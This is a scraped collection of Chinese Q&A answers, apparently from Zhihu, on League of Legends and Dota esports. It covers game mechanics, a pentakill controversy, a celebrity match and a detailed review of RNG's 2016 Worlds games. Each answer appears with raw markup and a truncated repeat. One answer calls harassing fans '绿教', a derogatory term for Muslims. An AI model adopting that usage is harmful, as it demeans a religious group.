————三更———— 看大家挺喜欢提莫的,那稍晚一点写个提莫专场: 《小提莫烦恼》 在绝地岛上,所有的约德尔人都善于利用自己的体型来获得一些优势,兰博是个例外。 “见过你需要仰望的约德尔人吗?”兰博总喜欢这么问。 直到有一天,遇到了希维尔:“能…
萧峰冷笑道:“萧某大好男儿,竟和你这种人齐名!”
萧峰冷笑道:“萧某大好男儿,竟和你这种人齐名!”
你没打几百把dota,很难明白具体的差别&br&lol躲草就那么几剁&br&dota所有的树都可以砍掉藏进去,经常追人别人卡个视野,然后躲到树后面,当你看着茫茫大森林琢磨他在那棵树后面的时候,别人已经用tp逃跑了。每一刻树都可以玩出花样。&br&底坡没有高坡视野,低坡打高坡25%miss,把兵线卡在披上,站在高坡玩命a低坡的对手,对手毫无办法。&br&tp机制使得每一场战斗都可能演变成5v5,围点打援,诱敌深入,战术更多样。&br&阵容选择更加多变,位置分为12345号位,每一个位置职责都不固定,可以一保四,也可以四保一,还可以全推进,这都是比赛常用套路,路人杂技团就更奇葩。&br&相对于来说lol打起来直接简单,对抗性强,重视个人技巧,dota的胜负涉及到东西太多了,技术不好线上崩,战术不行游走崩,执行力不行团战崩,打的激进翻盘崩,都是套路,全是算计,年纪大了,偶尔打一局,累得要死。&br&最后补充一下&br&嘛,我希望loler能去打一下dota,dotaer能去试试lol,其实探索新游戏有时远比跟一群老油子斗智斗勇有意思的多,不是吗?&br&-----------------------------------------------------------------------------------------------------------------------&br&另外讲一下关于操作的争论&br&如果lol的操作区间是1-100&br&那么dota的操作区间就是20-110&br&因为dota有大量的可使用道具和多操英雄多操物品所以&b&操作极值高&/b&&br&因为dota需要在对线期大量使用A和S控制兵线,控制仇恨(比如取消敌方防御塔对自己的仇恨,做到无伤冲塔),做假动作,取消后摇。以及转身速率和更大碰撞体积会造成操作不流畅。所以&b&操作起点高十几倍。&/b&&br&&b&这造成了dota操作难的错觉&/b&&br&实际上,lol的操作收益是线性的,操作好就玩的好,操作不好就挨虐,&b&lol更拼操作,对抗更直接&/b&&br&dota的操作收益是非线性的,&b&直接对抗和间接的对抗相辅相成,谋略成分更多&/b&,操作只要过了阈值,再提高提升并不明显,或者说木桶效应越严重。意识,节奏感,执行力,战术思维,分析能力甚至比操作重要(在操作及格的情况下)这样&b&操作带来的红利极易被其他一些方面稀释,操作带来的劣势也容易弥补&/b&,你看人家黄翔,成绩也不必485差啊。你看人老队长,空大空出一片天(大雾)。&br&所以说lol难在操作&br&dota则是难在你不知道为什么赢不了,对吧,为什么经济领先一万五,带盾主动打团被团灭,为什么,明明贯通天下武学,打一次肉山灭一次,为什么,沐沐跟别人跑............(大雾)&b&对抗点的分散更加消耗精力,这也就是为什么打dota累&/b&,就算只有一个技能的骷髅王,打起来也是心力交猝,反而很多4个技能,6个主动使用物品的辅助,因为操心少(如果队友给力),打起来比较轻松。
你没打几百把dota,很难明白具体的差别 lol躲草就那么几剁 dota所有的树都可以砍掉藏进去,经常追人别人卡个视野,然后躲到树后面,当你看着茫茫大森林琢磨他在那棵树后面的时候,别人已经用tp逃跑了。每一刻树都可以玩出花样。 底坡没有高坡视野,低坡打高…
跟若风在一块 我问问他&br&若风说:一个人边看边流泪,还要不停哔哔5小时,好心累&br&希望中国队起来,这样对解说人员轻松很多,也兴奋很多&br&中国队加油,起码看起来比足球好很多
跟若风在一块 我问问他 若风说:一个人边看边流泪,还要不停哔哔5小时,好心累 希望中国队起来,这样对解说人员轻松很多,也兴奋很多 中国队加油,起码看起来比足球好很多
1.熬夜伤身体,皮肤会变很差,第二天要坐车的话前一晚千万别通宵,容易晕车容易吐&br&2.所有不开心的事,打游戏只是逃避,不能帮助自己解决&br&3.网费是笔大开销,再明亮整洁的网吧,待久了身上还是会臭&br&4.再好听的游戏id,都会用腻&br&5.有人会因为lol认识你,喜欢你,有些人值得尊重,有的人则毫无必要&br&6.非常在乎游戏输赢的时候,会打得不开心但会比不在乎游戏输赢时强很多&br&7.得不到的东西永远在骚动,得到了以后会觉得它不过如此,比如皮肤,比如框框,但是哪怕你心里已经很平静了,还是会有人觉得你在装逼&br&8.理论帝是最难打败的,在他们眼里打lol就是做数学加减乘除,当他们准备怼对面的时候周围永远不会冒出寡妇石头人狮子狗等等怪兽,所以,放宽心,少说话,玩好自己的就行&br&&br&------&br&&p&谢谢大家的赞,补充下理论帝的问题&/p&&p&理论归理论,拿出技能介绍一顿计算一顿吹,默认技能百分百命中的那种理论帝,我还真不觉得有什么厉害的。以前看到有人吹扇子妈,我回复扇子妈比ez还混,那人回了扇子妈伤害高,我说伤害经常打不出来,结果那人为了吹扇子妈的伤害,连w的ap加成都拿来反驳了,还说我白银,类似这样的理论帝的攻略你敢看?扇子妈很强,拿来打输出位在大众分段效果到底如何,自己试过就知道了。 关注各种游戏时的细节,还有跟lol有关的更新内容选手比赛直播等等数据,能清楚 全面整理总结的人,还有在各个分段认真游戏的玩家,都值得被大家圈粉点赞与感谢。至于只会bb的,我觉得很好笑诶&/p&
1.熬夜伤身体,皮肤会变很差,第二天要坐车的话前一晚千万别通宵,容易晕车容易吐 2.所有不开心的事,打游戏只是逃避,不能帮助自己解决 3.网费是笔大开销,再明亮整洁的网吧,待久了身上还是会臭 4.再好听的游戏id,都会用腻 5.有人会因为lol认识你,喜欢…
&p&更新:&/p&&p&日下午17点30分左右,LCK夏季赛,SSG对战AFS第二局,crown的蛇女在队友的帮助下冲泉拿下五杀,对面被杀的是AFS的打野英雄挖掘机(肉装)。&/p&&p&&br&&/p&&img src=&/v2-34df370b_b.jpg& data-rawwidth=&400& data-rawheight=&278& class=&content_image& width=&400&&&p&&br&&/p&&p&这次WE道歉让我又一次感受到了国内这些所谓的粉丝做起道德绑架是多么的可怕,这种爆破别人微博的部分人,简直和绿教无异。请正视竞技比赛的残酷性,落后就要挨打。&/p&&p&这周的英雄麦克风里,最后播了大舅子拿四杀的镜头,没给五杀镜头。我曾经以为靠实力冲泉是荣耀的象征,原来官方并不是这么认为的。&/p&&p&============================================================&/p&&p&被有些人举报建议修改了,为了照顾一部人的阅读理解能力,我对内容做了一些美化修改。请管理大佬放过。&/p&&p&&br&&/p&&p&&br&&/p&&p&=====================奇怪的原文分割线=============================&/p&&p&先表明观点!&/p&&p&被人堵在泉水里,就要挨打,不能因为你不敢出门,所以你就可以,不会被打!&/p&&p&正常这个时间点你的基地被人暴锤呢,怎么不上去保护一下?&/p&&p&&b&躲在泉水里是不是懦夫?这种懦夫行为是不是应该拿出来讨论一下?&/b&&/p&&p&&b&所以我认为,应该提一个问题,为什么OMG的粉丝可以容忍自己的选手放弃自己的基地缩在家里不出去防守?&/b&&/p&&p&&b&强烈要求OMG就本次比赛中不保护自己家基地,躲在家中瑟瑟发抖,不敢迎战的行为进行道歉!&/b&&/p&&p&&br&&/p&&p&&br&&/p&&p&然后是个人理解。&/p&&p&你们看过英雄麦克风吗?IMP有一波高地拿四杀一直在喊五杀最后没拿到非常懊悔的唉了一声,这个没看过的可以去搜索一下,不麻烦的。&/p&&p&难道,四杀的时候脑子,有部分人,心里第一反应是这样的?&/p&&p&内心活动1:嗯...我得尊重一下对面的玩家,也许他家里很穷不应该欺负他。让他的游戏体验好一些。&/p&&p&或者:嗯,我已经拿了四个头了,多一个少一个不重要了。&/p&&p&又或者:嗯,对面没有主动给我,我这人又不好意思明抢,算了算了。&/p&&p&&br&&/p&&p&上面都是我瞎编的~&/p&&p&真实的情况,我想99%的人都应该是这样&b&:人呢人呢人呢人呢?快出现在视野里!不管在哪!老子要砍死你拿5杀发图去炫耀!&/b&&/p&&p&&br&&/p&&p&&br&&/p&&p&最后,我们来再来重温一下到底发生了什么:&/p&&p&&b&一波团打下来,大舅子拿下4杀,就看到five直接缩到泉水最里面了,所有人都知道WE接下来会干什么了,连对面的辅助都知道了。&/b&&/p&&p&&br&&/p&&img src=&/v2-899c9cb5ba69290fce118_b.jpg& data-rawwidth=&349& data-rawheight=&236& class=&content_image& width=&349&&&p&&br&&/p&&p&&b&然后队友们已经冲进了泉水,大舅子就这样干掉了最后一个敌人。&/b&&/p&&p&比赛结束后可能选手们还在欢声笑语的讨论比赛和祝贺胜利,第二天,就有这样一篇文章冒出来了:&/p&&p&&b&哇!震惊!lpl强队WE居然做出如此丧尽天良之事!简直不能忍!点击查看详情!&/b&&/p&
更新:日下午17点30分左右,LCK夏季赛,SSG对战AFS第二局,crown的蛇女在队友的帮助下冲泉拿下五杀,对面被杀的是AFS的打野英雄挖掘机(肉装)。 这次WE道歉让我又一次感受到了国内这些所谓的粉丝做起道德绑架是多么的可怕,这种爆破别人微博的…
我觉得至少到满血甩大的时候都是他自己打的。。。因为的确菜的辣眼睛。&br&&br&后面可能的确换了人打,操作至少回到了白银水平,然后杰伦可能就玩别的去了。。。&br&&br&然后采访的时候状态的确非常尴尬,似乎很迅速地遗忘了比赛中到底发生了什么(我觉得就是由于后半段去干别的就给忘掉了),对主持人发起的互动也没怎么接,看到一半我就把直播网页关了。&br&&br&讲道理真的很尴尬,从他对主持人问题的回答中,我感觉不到任何对lol这个游戏的专注,就是单纯的“我要玩不一样的英雄”,一个团队游戏,一场打下来,对队友的亮点都毫无所知,讲道理,卢本伟那个大嘴,全中国lol玩家,随便挑一个换了周杰伦,面对这个问题的回答都会是这个大嘴很强,带我们队起飞。&br&&br&周杰伦怕是都没有注意到自己这边有个大嘴吧。&br&&br&而且本身由于自己的原因没法来到现场,连线的时候不应该先和观众们打个招呼,就算不打招呼,认真笑一笑很难么?&br&&br&我看到的就是一个不怎么精神,略有发福的周杰伦,眼神游移不定,一直在拨弄耳机,顾左右而言他,对主持、队友、观众都是敷衍的态度。&br&&br&虽然我一直喜欢周杰伦,不太喜欢炮王吴亦凡,但是真的要说给lol这个游戏代言,吴亦凡比周杰伦合格的多。&br&&br&周杰伦还是继续做音乐拍电影比较好。至少能让我看到一个认认真真,神清气爽的周杰伦,而不是昨天那个发福的中年大叔。
我觉得至少到满血甩大的时候都是他自己打的。。。因为的确菜的辣眼睛。 后面可能的确换了人打,操作至少回到了白银水平,然后杰伦可能就玩别的去了。。。 然后采访的时候状态的确非常尴尬,似乎很迅速地遗忘了比赛中到底发生了什么(我觉得就是由于后半段去…
谢邀(我以后能不能不谢邀了,这东西仪式感太重了,害怕)。&br&&br&RNG出线是在我意料之中的,但着实没想到是这么惨的一个结果。&br&挣扎着挤进八强赛,跟昨天EDG一模一样。&br&&br&在说RNG之前,现在说说大趋势:LPL的英雄选择。&br&直观上,首抢波比是最近备受争议的话题,这个事儿得拆开来说,先说“波比”,再说“首抢”。&br&&br&波比这个英雄的定位是坦克,它有大量的控制手段(EWR),不错的坦度(护盾和W的抗性加成),相对灵活的技能(E技能的位移和W的移速)和不错的伤害(Q技能的百分比伤害)。线上波比换血一般不亏,团战大量的控制和反制手段可以做到定点打击和为团队争取到作战空间。&br&同时,波比最可怕的就是R技能的击飞机制。波比的R是一个带有击飞效果的强制位移性技能,只要命中便无法反制,客观上来说,&b&R技能在团战中可以做到让对方减员的效果。&/b&&br&&br&如果波比在团战中R走对方的关键人(大树、凯南、稻草人等)或者C位,那么这波团基本可以确定是波比这一方获胜了。&br&所以说,拿波比这件事是可以的,没问题。&br&&br&&b&但是首选就很没道理了。&/b&&br&&img src=&/ba1b3b0e99f5d7f02e55aab_b.png& data-rawwidth=&1360& data-rawheight=&764& class=&origin_image zh-lightbox-thumb& width=&1360& data-original=&/ba1b3b0e99f5d7f02e55aab_r.png&&这是EDGvsH2K的一场比赛,我们可以看到EDG首抢波比。&br&首抢波比意味着什么呢?&br&意味着你可以用&b&巨魔、兰博、凯南、杰斯、丽桑卓、吸血鬼&/b&等英雄走上路而不用担心发育问题。&br&其中,巨魔兰博凯南杰斯四个英雄对波比是非常明显的克制关系,只考虑英雄相性的话, 这四个英雄都可以打爆波比,&b&而凯南与巨魔更是可以把对波比的碾压从对线贯彻到团战的可怕角色&/b&。&br&&br&S6的中文解说人数非常多,直播解说场外解说采访人员,林林总总加起来得十来口人。但就专业性来说这届比赛LPL解说表现的非常非常差劲,他们好像刚从传奇霸业这种网页游戏解说转行到LoL,一通乱喷毫无逻辑可言,其中以小伞和Joker的那句&b&“选波比就是告诉你别拿凯南&/b&&b&”&/b&最为出名。&br&&br&波比和凯南的相性关系我在以前的文章里写了很多,这里就不赘述了,能说出波比克制凯南这种话的人,估计得有两年没碰过游戏了。&br&&br&看EDG的Ban,明显没有考虑到Mouse的生存环境问题,Mouse在EDG的位置不是抗压,而是弃卒,可以说毫无尊严可言。先手拿波比纯粹是为了战队其他人的利益,而波比,老实讲真的没有首抢的必要。&br&&br&再看RNG拿波比的情形。&br&&img src=&/640e5c318e281a2ca2e6_b.png& data-rawwidth=&1920& data-rawheight=&998& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&/640e5c318e281a2ca2e6_r.png&&RNG拿波比的时候,对方已经锁定了上单位:杰斯。&br&杰斯是比较克制波比的英雄,但相对的这个英雄也有自己的缺点,不好打团。&br&而波比是非常好打团的英雄,而Looper的个人实力在本届比赛中可以说有争第一上单的资格,所以RNG选择了波比为抗压上单。&br&&br&可以看到同样是拿波比,RNG处理的就比EDG要好。&br&&br&但现在我要问大家一个问题。&br&&br&&b&是不是非要拿波比?????&/b&&br&&br&在对面上单确定是杰斯得情况下,在对方上单确定是线上能力强团战能力弱(或者说团战中可使用战术非常单一)并且偏脆皮的英雄时,&b&我们没有更好的选择吗????&/b&&br&&br&有,但是不拿,为什么?&br&&br&&b&因为LPL就是要打后期。&/b&&br&&br&&br&这东西其实挺难懂的,我也不知道为什么这帮人铁了心就要打后期,老实讲,LPL的发育能力真的很一般。&br&根据腾讯的官方数据,本届选手补刀最好的一位是FW的NL(我也不知道为什么是他),场均471刀。场均补刀排行榜前十名,只有一人来自LPL赛区,那就是排在第九位的Athena。&br&&br&Deft是LPL场均补刀最好的ADC,以355刀的成绩排在总榜第十三位。&br&&br&AJ以场均306刀的成绩位列第三十三,是LPL场均补刀最好的上路。&br&&br&而经济榜单上,Pawn以场均&b&16733&/b&的成绩排在第十名,也是LPL唯一的前十选手。&br&&br&而SKT这种队伍,全员经济都比较靠前,所以它不怕打后期,因为人家前期真不劣势。&br&&br&&br&&br&絮叨了一些东西,我们来看比赛,SPYvsRNG&br&&img src=&/bd5cae1c00c60f3dbf163d_b.png& data-rawwidth=&1917& data-rawheight=&999& class=&origin_image zh-lightbox-thumb& width=&1917& data-original=&/bd5cae1c00c60f3dbf163d_r.png&&Ban位,双方都是版本Ban人,EZ和辛德拉可以算针对Ban。&br&其实这个版本对BP非常友好,已经没有那种双方都不敢放的怪物英雄了,这种情况对于英雄池深厚的队伍来说是非常舒适的。&br&&br&SPY整个阵容偏中期,杰斯和烬这两个英雄前期都需要一定的装备积累,但正常情况下一件半装备就可以有很显著的效果,属于前期有点雪球中期就很屌的角色。SPY的阵容劣势也比较明显,没有值得期待的坦克角色,前排不够硬阵地战容易被人打散。&br&&br&RNG的阵容上比较稳妥,女警这种英雄前期战斗力并不强,但是配合扇子妈有极好的压制效果。整个队伍前期比较吃节奏,如果推塔节奏起来不用等到C位发力期也能赢。假设RNG前期劣势,就只能稳住等中后甚至大后期。RNG这种阵容本身没有明显短板儿,但无论优劣中期都会打的比较近,很吃战术运用与贯彻的一套阵容,对队员要求比较高。&br&&br&&img src=&/d74b3d607c1c2f0d4e96ee_b.png& data-rawwidth=&1175& data-rawheight=&819& class=&origin_image zh-lightbox-thumb& width=&1175& data-original=&/d74b3d607c1c2f0d4e96ee_r.png&&奥拉夫第一波去了上路,这波Gank有个细节是LooperE了一次杰斯,这个E技能成为很多人抨击Looper 的把柄。&br&就我个人看来,这的确不是最好的操作,Looper博一下可以选择E塔QA,顶一下塔是不会死的。但就这波操作来说,我也不认为它是一个“失误”。&br&当时奥拉夫被杰斯击退,而波比则距离杰斯比较远,如果波比不E到杰斯的话,那他就很难接近杰斯对他造成伤害了。波比的EQ逼出了杰斯的闪现,如果香锅最后一发Q中了这个杰斯其实也就死了。所以说Looper那一波应该是比较拼的行为,并不能说是失误。如果他没有E过来,杰斯不会掉那么多血手里也攥着一个闪现,香锅这波很难击杀掉他。&br&那一发Q如果中了,Looper这一波就是立功。&br&只能说,召唤师技能对换并不亏,也不赚,疾走CD毕竟不长,这个击杀失败也不能说谁有锅。&br&&br&&img src=&/49f6efe3bc6d1982ee5d_b.png& data-rawwidth=&812& data-rawheight=&1079& class=&origin_image zh-lightbox-thumb& width=&812& data-original=&/49f6efe3bc6d1982ee5d_r.png&&&br&&img src=&/effa796f1fdbede0fda5ef8e_b.png& data-rawwidth=&1026& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1026& data-original=&/effa796f1fdbede0fda5ef8e_r.png&&&img src=&/12f642a4c66a2e1d5da760f8d19830da_b.png& data-rawwidth=&1078& data-rawheight=&1079& class=&origin_image zh-lightbox-thumb& width=&1078& data-original=&/12f642a4c66a2e1d5da760f8d19830da_r.png&&&br&&br&开局七分钟左右,上路不出所料的被压刀,但RNG其他路基本还是优势的。香锅补刀差了点不过问题不大。&br&&br&下路女警则略显颓势,走位不慎被一套打回家后,原本领先的补刀已经被逐渐追上了。可以看到随着时间的流逝,女警的压制力在逐步减弱,而扇子妈的压制力在对线期也没能发挥出来,这局下路最亮的就是这个布隆,一个人把RNG俩人玩废了。&br&&br&RNG有一个套路是用扇子妈推线,迅速把兵线推到敌方塔下,从而进行压制。但这局RNG并没有玩儿好这个战术,UZI和Mata在对线期多次被布隆Q中被烬W中,也显示出RNG下路被压制的比较惨。&br&下路没能打出理想中的压制效果是RNG中期难接团的原因之一。&br&&br&话说奥拉夫带CD鞋这个套路还挺好玩的。&br&&br&&img src=&/b9a5f5ad5faa28c27b62c3_b.png& data-rawwidth=&672& data-rawheight=&692& class=&origin_image zh-lightbox-thumb& width=&672& data-original=&/b9a5f5ad5faa28c27b62c3_r.png&&然后就是这波操作,怎么说呢?我愿意给小虎满分。&br&两个闪现接控,怎么看都是要死了,但是小虎愣是在蜘蛛飞天的这几秒甩出个Q,触发了护盾,扭着屁股就跑了。&br&我天你比明凯6多了。&img src=&/e0e739e2d6a84a86b93a_b.png& data-rawwidth=&608& data-rawheight=&543& class=&origin_image zh-lightbox-thumb& width=&608& data-original=&/e0e739e2d6a84a86b93a_r.png&&然后就爆发了 本场比赛的第一滴血。&br&在这场针对上路的击杀中,Looper还是有把人往回E的操作,但这次就击杀掉了杰斯。在香锅的追击过程中,他漏掉了一个关键Q,本来可能回放跑杰斯,但是Looper的EA盾击还是补足了伤害。这两次击杀波比距离杰斯真的太远了,好在第一波打掉了杰斯的闪现,第二次Gank才能杀掉他。&br&所以单纯以“把人往回E”为理由针对Looper,至少我是不认同的。&br&&br&&img src=&/7f0f9e965e7cafefc7bf1_b.png& data-rawwidth=&1701& data-rawheight=&1070& class=&origin_image zh-lightbox-thumb& width=&1701& data-original=&/7f0f9e965e7cafefc7bf1_r.png&&下路推线过深被抓死,其实RNG这种逼迫型打法就是容易被抓,在上中没法有力支援的时候,就要放缓攻势,别压的那么死,不然人家gank你真没法玩。&br&&br&&br&然后就是本场比赛的第一个大节奏点&br&&img src=&/2defcc0e8b4efa888de985f_b.png& data-rawwidth=&310& data-rawheight=&322& class=&content_image& width=&310&&&img src=&/885d9fa841aded7b226b47780dbffa3f_b.png& data-rawwidth=&319& data-rawheight=&312& class=&content_image& width=&319&&&img src=&/703f5dfde8e017dae3192b_b.png& data-rawwidth=&1474& data-rawheight=&932& class=&origin_image zh-lightbox-thumb& width=&1474& data-original=&/703f5dfde8e017dae3192b_r.png&&香锅和小虎犯了特别严重的失误。&br&为什么Looper就是不愿意走?因为这是一血塔。&br&&br&我发现RNG并不在意一血塔这个点,更不敏感于这个关键环节。我们可以看到,小虎是看着马尔扎哈到上路并且要跟过去的,但是走到一半他不走了,为什么呢?&br&他会中路贪了波兵。&br&香锅直接刷三狼去了。&br&&br&我可以给你讲ROX是怎么打游戏的,那是ROx与KT的一局,上单Smbe选了船长,小花生在野区打野。&br&大概四级左右吧,Smbe跟对面换了一波血,自己状态一般,半血半蓝。此时小花生打野打到一半,看到Smbe跟对面拼了一小下,直接野都不打去反蹲了。&br&这什么敏感度?&br&&br&而小虎和香锅看着对面包上还傻乎乎的收钱呢,Looper自己也犯了错误,空大,结果被人一通揍,RNG陷入劣势。&br&都世界赛了,神经还不绷紧点?一血塔和上单就这么给人玩?没道理吧。&br&&br&&br&——————————&br&做这篇复盘,我已经准备好了被喷,所以各位,我也就不客气了。&br&有人说波比R飞凯南,兄弟,我觉得你脑子有问题。&br&真的,别说我不客气,这么多局了,&b&你看过波比R飞凯南吗?&/b&&br&&br&&br&波比的W技能是防突进,凯南没有突进。&br&波比的R有读条时间,有弹道时间,凯南有什么?&b&加速E&/b&。&br&我E技能加速,我还出金身,我还出腰带,我还有闪现。&br&&b&我是智障吗我被你一个波比R飞????&/b&&br&&br&你们要这么说不如说亚索团战克制凯南啊,Q技能完美击飞。&br&动动脑子朋友们,想一想实际情况,别把对面当傻子,S赛队伍的上单凯南能比波比R飞?&br&&br&还有人说一塔可以放,我都不说现在一塔多少钱,你就算是战略性放一塔,你起码要赚点东西吧?你赚条龙?赚俩buff?RNG放上路赚什么了?中路两波兵外加打野一组三狼,RNG“战略性”放上路转什么了?&br&&br&唉,解说傻观众跟着笨,怪不得他们到现在还能吃这碗饭。&br&&br&接着复盘。&br&————————————————————、&br&与SPY的对决,RNG前期炸了个一干二净,根本没有拖到后期的可能。&br&下路的不明朗,中路的迷茫和送上路的决策都让RNG狠狠摔了一跤。我想输给SPY这件事是很多人都不能接受的, 但,这只是一个起点。&br&&br&&br&RNGvsSSG&br&&br&RNG打SSG这局是彻头彻尾的垃圾比赛,我都很难去断定它跟EDG输外卡这两场之间谁更XX,只能说,不相伯仲。&br&&br&首先就是维克托这个点,我(一个不靠LOL吃饭的普通观众观众)都能在巡礼里边明确表示要照看维克托这个点,因为皇冠的维克托是在LCK有Ban位尊严的英雄。换言之,如果你RNG有应对它的方法,你放,我能接受。&br&结果选个马尔扎哈?????&br&???????&br&&img src=&/23ff666ebf12d_b.png& data-rawwidth=&938& data-rawheight=&622& class=&origin_image zh-lightbox-thumb& width=&938& data-original=&/23ff666ebf12d_r.png&&&img src=&/fb3dcac7a7139ffc80fb9_b.png& data-rawwidth=&942& data-rawheight=&622& class=&origin_image zh-lightbox-thumb& width=&942& data-original=&/fb3dcac7a7139ffc80fb9_r.png&&&img src=&/052de3eb0b2c7f4411e3_b.png& data-rawwidth=&944& data-rawheight=&629& class=&origin_image zh-lightbox-thumb& width=&944& data-original=&/052de3eb0b2c7f4411e3_r.png&&我们可以看到SSG的Ban是比较针对中路的,而RNG并未对中路做太多文章,放出了中单维克托。而面对婕拉,RNG的下路也没有做出优质选择,拿到了布隆。&br&&br&这局比赛,SSG的奥拉夫开心刷野,RNG各路对线对炸了。&br&下路居然在对线期让人把一血塔拔了。&br&&br&评论区有人说,一血塔不重要。&br&来,我给你看看一血塔意味着什么。&br&&img src=&/fb7cc8afaa0c7_b.png& data-rawwidth=&1070& data-rawheight=&107& class=&origin_image zh-lightbox-thumb& width=&1070& data-original=&/fb7cc8afaa0c7_r.png&&&img src=&/ed397e46e1446eb7dbf234a751b763b8_b.png& data-rawwidth=&1036& data-rawheight=&114& class=&origin_image zh-lightbox-thumb& width=&1036& data-original=&/ed397e46e1446eb7dbf234a751b763b8_r.png&&看见了吗?&br&&b&十四分钟七千,十八分钟一万,这是经济差。&/b&&br&有什么雪球能比一血塔滚得更多吗?一级团ACE对面???&br&&br&CLG也好,ROX也罢,它们都在自己的联赛尝试过换线打法,为的就是出其不意拔掉对方上路一塔。这个奖励机制已经重要的到要队伍找机会拼一波换线的地步了,居然还有人觉得一血塔是可以“战略性”拱手相让的。&br&&br&这局比赛,下路锅最大,中路次之。&br&打野,我觉得不能说没有问题,但是线上爆炸是RNG被人血虐的直接原因。&br&对线打崩了,这种事在EDG和RNG身上频频出现,这是不可以接受的事情,SSG可是LCK最弱的那一支啊,外卡就更别说了。&br&LPL到底有多弱?我们的联赛是不是整体比人低一个档次?想得我头都大了。&br&这局Looper的问题也非常大,兰博不能吊打艾克,是个卸不掉的锅。&br&这局比赛过后,Reddit网友戏称:Mata从13年起就一直Carry三星。&br&而韩国论坛有一个评论让我印象深刻:&b&UZI这局打了有一万伤害吗?&/b&&br&&br&单说对线,RNG应该是LPL数一数二的队伍。&br&对线让人打穿了。&br&这局比赛,让我对LPL以后的路失去了最基本的信心,好在,生死局的表现重新唤起了我的期待。&br&&br&&br&RNGvsTSM&br&&img src=&/fe0551dfedb7a_b.png& data-rawwidth=&944& data-rawheight=&623& class=&origin_image zh-lightbox-thumb& width=&944& data-original=&/fe0551dfedb7a_r.png&&可以看到烬是RNGBan位的常客,红蓝都要Ban。其实这才是Ban位的正确用法,去针对自己不会玩、玩不好或者不想玩的英雄,尽可能拿到自己想要的阵容。&br&龙王这个选角非常好,跟岩雀在上个版本的优先级一样。&br&&br&这局RNG打的不说好,不说差,而是&b&正常&/b&。&br&在我眼里,这局RNG打的是自身应有的实力,没有爆种没有萎靡,所以我真的希望LPL这两支队伍好好选阵容好好打线上和套路,别弄点有的没的输得自己都不服气。&br&&br&&img src=&/6a67b7d95d_b.png& data-rawwidth=&935& data-rawheight=&495& class=&origin_image zh-lightbox-thumb& width=&935& data-original=&/6a67b7d95d_r.png&&小虎龙王线上换血和推线那部分做的还是不错的,可以看到给了瑞兹很多压力。&br&&br&&img src=&/c06f2eaa21bb01c2f377_b.png& data-rawwidth=&1599& data-rawheight=&882& class=&origin_image zh-lightbox-thumb& width=&1599& data-original=&/c06f2eaa21bb01c2f377_r.png&&下面是你可以选择相信或者嘲讽的自吹自擂环节。&br&当时这场比赛我在群里跟小伙伴儿一起看的,他们都很悲观说GGGGG,我说你别急,六级前中野肯定要去下路做事的。&br&然后就有了这波,龙王六级蜘蛛五级,EZ三杀。&br&&br&其实这东西很简单,你拿到龙王就是要打支援,就好像你拿到妖姬肯定要打线上一样。龙王不支援就如同妖姬稳着发育拖大后期一样蠢。RNG这波可以说打的很“标准”,&b&把英雄应该具备的特性和自己的基本实力打了出来&/b&。&br&不能说是UZI打得好,机会是辅助跟中野给的。&br&不能说是中野灵性,这英雄就该这么玩。&br&标准,我只能说这是打出了标准,就应该这样,RNG就是这个实力。&br&&br&这波最重要的倒不是说三杀,而是人头都给了EZ和拿了一血塔。就这一波,RNG把经济拉开两千二。&br&两千二什么概念?集中到一个人身上,那就是多半个大件啊。&br&这个版本前期真的很重要。&br&&img src=&/ffaea_b.png& data-rawwidth=&1185& data-rawheight=&769& class=&origin_image zh-lightbox-thumb& width=&1185& data-original=&/ffaea_r.png&&这一局Looper的表现也堪称完美,波比虽然被压刀,但局势上却是撵着杰斯打。Looper各种护盾换血小技巧已经做到极限了,杰斯半血的时候Looper是满血,之后更有单杀杰斯的意图,这种上路真的强。&br&这也是Looper应该有的水准。&br&&img src=&/cfeda7e3a1c05_b.png& data-rawwidth=&1071& data-rawheight=&1065& class=&origin_image zh-lightbox-thumb& width=&1071& data-original=&/cfeda7e3a1c05_r.png&&然后要说的就是比尔森,这个人真的强,前期拿不到蓝,各路都崩,大哥硬是不死Carry,一个人扛着TSM往下走。&br&我都感动了好吗?&br&小虎这一波就显示出他的不成熟,龙王作为一个非常好支援的角色,最好不要去边路。因为你E技能可以飞跃地形迅速支援,卡在边路无疑是削弱了龙王的支援能力。&br&而且带线过河道了,太深,眼位不够用。&br&&br&这是RNG犯的错误,类似的错误还有上高时候的站位过密等。&br&&br&老实说,这局我给RNG八十分。&br&单纯打出了属于它们的东西而已,正常的BP、正常的发挥、正常的节奏,只是正常表现的RNG都可以赢TSM,如果是超常呢?&br&&br&所以说LPL的队伍,不要搞一些有的没的,好好打我们就能赢很多强队了,爆种的话真的可以跟最强的对手战个痛。拿好每个点,打好每条线,尽可能去赚而不是稳和让,你凭什么不能赢呢?&br&&br&&br&&br&今年的八强,三支韩国队伍均已小组第一出线。&br&这是值得思考的问题,小组赛每个人都栽跟头,但韩国队还是能调整过来。&br&SKT的发育,ROX的联动,SSG的前期节奏,可以说韩国战队都打出了自己的东西,用各自不同的方式战胜了一个个对手。&br&而LPL还在迷茫,还在踌躇,队员接受采访常说的一句话就是“打蒙了”。&br&&br&没什么可蒙圈的,有什么,打什么,会什么,玩什么。&br&尽力而为,输赢不悔。
谢邀(我以后能不能不谢邀了,这东西仪式感太重了,害怕)。 RNG出线是在我意料之中的,但着实没想到是这么惨的一个结果。 挣扎着挤进八强赛,跟昨天EDG一模一样。 在说RNG之前,现在说说大趋势:LPL的英雄选择。 直观上,首抢波比是最近备受争议的话题,这…
看了2年lpl,国际赛edg虽然垃圾,但水平的确高其他lpl队一点点,我也没见edg八强的时候,哪个其他队进四强了。&br&很多其他队粉丝观点很奇葩,老以为这个队挡住了他们主队的路,相比弹幕上一面倒的主队粉丝们,只能说你们的主队连垃圾都不如
看了2年lpl,国际赛edg虽然垃圾,但水平的确高其他lpl队一点点,我也没见edg八强的时候,哪个其他队进四强了。 很多其他队粉丝观点很奇葩,老以为这个队挡住了他们主队的路,相比弹幕上一面倒的主队粉丝们,只能说你们的主队连垃圾都不如
